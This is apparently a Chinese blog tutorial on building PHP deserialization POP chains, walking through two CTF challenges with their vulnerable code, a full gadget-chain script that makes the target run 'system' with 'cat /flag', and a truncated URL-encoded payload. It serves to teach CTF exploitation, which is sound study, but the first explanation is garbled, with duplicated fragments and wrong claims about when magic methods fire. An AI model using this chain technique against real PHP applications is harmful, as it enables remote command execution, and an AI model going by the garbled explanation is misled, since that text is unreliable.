适合新手的php反序列化pop链构建思路和原理(有例题,无echo调用tostring)

1、shctf2023的ez_serialize

是新手题难度不大,题目如下:

<?php
highlight_file(__FILE__);

class A{
  public $var_1;
  
  public function __invoke(){
   include($this->var_1);
  }
}

class B{
  public $q;
  public function __wakeup()
{
  if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->q)) {
            echo "hacker";           
        }
}

}
class C{
  public $var;
  public $z;
    public function __toString(){
        return $this->z->var;
    }
}

class D{
  public $p;
    public function __get($key){
        $function = $this->p;
        return $function();
    }  
}

if(isset($_GET['payload']))
{
    unserialize($_GET['payload']);
}
?> 

对于这个pop链的执行过程,可以进一步详细解释。首先,让我们逐步追踪反序列化的过程:

  1. 反序列化开始时,会先对最内层的对象a进行反序列化,即将‘a进行反序列化,即将‘var_1属性赋值为字符串"php://filter/read=convert.base64-encode/resource=flag.php"`。

  2. 然后,对对象d进行反序列化,它的‘d进行反序列化,它的‘p属性引用了对象$a。在反序列化过程中,会调用对象$d的__get()`函数,返回对象$a的结果。

  3. 接下来是对象c的反序列化,其中‘c的反序列化,其中‘z属性引用了对象$d。同样,在反序列化过程中,会调用对象$c的__get()函数,再次触发对象$d的__get()`函数,将对象a返回给对象a返回给对象c。

  4. 最后,对对象b进行反序列化,它的‘b进行反序列化,它的‘q属性引用了对象$c。在这一步中,会调用对象$b的__wakeup()函数。在当前代码中,__wakeup()函数使用正则表达式匹配$q`属性以检测恶意输入,如果匹配成功,则输出"hacker"。

  5. 在示例中,C类中的var属性是一个指向自己的引用。也就是说,$c->var指向了$c对象本身。这样的引用关系可以在对象内部形成递归结构,即对象包含对自身的引用。

    当我们将这个对象进行序列化时,整个对象图(包括引用关系)都会被序列化。这意味着在序列化过程中,会将$c对象及其相关引用也进行序列化。在反序列化时,被序列化的对象图会被还原,重建出原始的对象及其引用关系。

    由于C类实现了__toString()方法,该方法定义了如何以字符串形式表示对象。在示例中,__toString()方法返回了$z属性的var值,即$a->var_1。因此,在反序列化时,如果尝试将$c对象作为字符串输出(例如使用echo语句),就会间接调用C类的__toString()方法,从而返回$a->var_1的值。

    总结起来,尽管示例中没有直接尝试输出C类的对象,但是由于序列化和反序列化过程会还原整个对象图,当尝试以字符串形式输出$c对象时,会触发间接调用C类的__toString()方法,并返回相应的值。

2、Newstar week3 POP Gadget

题目代码如下

 <?php
class Begin{
    public $name;
 
    public function __destruct()
    {
        if(preg_match("/[a-zA-Z0-9]/",$this->name)){
            echo "Hello";
        }else{
            echo "Welcome to NewStarCTF 2023!";
        }
    }
}
 
class Then{
    private $func;
 
    public function __toString()
    {
        ($this->func)();
        return "Good Job!";
    }
 
}
 
class Handle{
    protected $obj;
 
    public function __call($func, $vars)
    {
        $this->obj->end();
    }
 
}
 
class Super{
    protected $obj;
    public function __invoke()
    {
        $this->obj->getStr();
    }
 
    public function end()
    {
        die("==GAME OVER==");
    }
}
 
class CTF{
    public $handle;
 
    public function end()
    {
        unset($this->handle->log);
    }
 
}
 
class WhiteGod{
    public $func;
    public $var;
 
    public function __unset($var)
    {
        ($this->func)($this->var);    
    }
}
 
@unserialize($_POST['pop']); 

($this->func)($this->var) 将 $this->var 作为参数传递给保存在 $this->func 变量中的函数或方法。 这里我们可以给func传'system',var传'ls /'查根目录,起到一个system()的作用然后读flag文件。

pop链如下:

     <?php
     
    class Begin{
        public $name;
     
        public function __destruct()
        {
     
        }
    }
     
    class Then{
        private $func;
        
        public function __construct()
     
        {
     
            $s=new Super();
     
            $this->func=$s;
     
        }
     
        public function __toString(){
            ($this->func)();//这里把Super当函数调用,实际触发了Super()里面的__invoke方法
            return "Good Job!";
        }
    }
     
    class Handle{
        protected $obj;
        public function __construct()
     
        {
     
            $this->obj=new CTF();//实例化CTF()后给这里的obj赋值
     
        }
     
        public function __call($func, $vars)
        {
            $this->obj->end();//调用了CTF()里的end()方法
        }
     
    }
     
    class Super{
        protected $obj;
        public function __construct()
     
        {
     
            $this->obj=new Handle();//为protected $obj赋值
        }
        public function __invoke()
        {
            $this->obj->getStr();//Handle 类没有定义 getStr() 方法,因此在调用这个方法时会触发 handle里的__call() 魔术方法
        }
     
        public function end()
        {
            die("==GAME OVER==");
        }
    }
     
    class CTF{
        public $handle;
     
        public function __construct()
     
        {
     
            $w=new WhiteGod();
     
            $this->handle=$w;
     
        }
        public function end()
        {
            unset($this->handle->log);//在这个end()方法中我们试图用unset()删除WhiteGod()里面的log属性
        }
     
    }
     
    class WhiteGod{
        public $func='system';
        public $var="cat /flag";
     
        public function __unset($var)
        {
            ($this->func)($this->var);    
        }
    }
    $b=new Begin();
    $b->name=new Then();
    echo urlencode(serialize($b));

需要特别注意的是在执行 unset($this->handle->log) 时,会尝试调用 $this->handle 对象的 __unset() 魔术方法。该方法将使用属性 $this->func 的值作为可调用函数,并将属性 $this->var 的值作为参数来执行。

因此,在 WhiteGod 类中调用 unset($this->handle->log) 将实际上执行 ($this->func)($this->var),相当于执行 system('ls /'),即执行系统命令 ls /

整体来说是:

__destruct() 中,由于 $name 包含一个 Then 对象,会触发 __toString() 魔术方法。在 __toString() 方法中,首先调用 $this->func 属性指向的对象(即 Super 对象),接下来进入 Super 类,由于该类含有一个 __invoke() 魔术方法,因此在调用 Super 对象时会触发 __invoke() 方法。在 __invoke() 方法中,又会调用 $this->obj->getStr() 方法,并进入 Handle 类中。

由于 Handle 类没有定义 getStr() 方法,因此在调用这个方法时会触发 __call() 魔术方法。在 __call() 方法中,将会调用 $this->obj->end() 方法,并触发 CTF 类中的 end() 方法。

在 CTF 类的 end() 方法中,我们会调用 unset($this->handle->log),从而触发 WhiteGod 类的 __unset() 魔术方法。在 __unset() 方法中,我们构造了一个命令行字符串,然后通过执行漏洞执行了系统命令。

payload:

pop=O%3A5%3A%22Begin%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A4%3A%22Then%22%3A1%3A%7Bs%3A10%3A%22%00Then%00func%22%3BO%3A5%3A%2
 

  • 4
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值